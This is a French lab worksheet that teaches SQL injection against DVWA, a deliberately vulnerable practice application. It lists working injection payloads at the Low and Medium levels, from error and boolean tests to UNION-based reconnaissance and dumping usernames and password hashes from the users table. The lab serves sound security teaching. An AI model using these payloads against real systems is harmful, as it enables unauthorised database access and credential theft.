TP « SQL Injection sur DVWA »

1. Contexte et objectifs

Vous disposiez d'une liste brute de requêtes de test. Le présent atelier les **restructure** en un scénario pédagogique complet :

1. **Comprendre** la logique de chaque payload.
2. **Vérifier** l'effet attendu dans DVWA.
3. **Faire évoluer** les mêmes attaques du niveau *Low* au niveau *Medium*.

2. Parcours « Low » (failles non filtrées)

Payload à injecter	Concept testé	Action attendue / vérif
`id=1`	Requête légitime	Affiche l'utilisateur #1 (contrôle)
`id='`	Error-based	Erreur SQL : preuve d'une concaténation non échappée
`id=1' OR 1=1 #`	Boolean true	Retourne tous les comptes
`id=1' AND 1=0 #`	Boolean false	Aucune ligne (filtre qui échoue)
`id=1' OR 1=1 ORDER BY 2 #`	Enumération colonnes	Pas d'erreur ⇒ ≥ 2 colonnes
`id=x' AND 1=1 UNION ALL SELECT 1,@@version #`	Union-based	Affiche la version MySQL
Remplacer `@@version` par `user(), database(), @@hostname`	Reconnaissance	Variables systèmes révélés
`@@datadir`	Reconnaissance OS	Chemin physique de la DB
`id=x' AND 1=1 UNION ALL SELECT user,password FROM users #`	Dump	Hashes des mots de passe

Répétez chaque injection, discutez pourquoi elle fonctionne.

3. Parcours « Medium » (échappement mysqli_real_escape_string)

Passez la sécurité à Medium puis :

Payload Medium	Variation vs Low	Preuve de succès
`id=1 OR 1=1 #`	Quote supprimée	Tous les comptes listés
`id=1 AND 1=0 #`	—	Aucune ligne
`id=1 OR 1=1 ORDER BY 2 #`	—	Pas d'erreur ⇒ 2 colonnes
`id=1 UNION SELECT 1,@@version #`	Quote supprimée	Version MySQL affichée
`id=1 UNION SELECT user,password FROM users #`	Dump	Hashes obtenus

Différence clé : l'antislash injecté par l'escape empêche la quote de casser la chaîne ; il faut donc retirer la quote .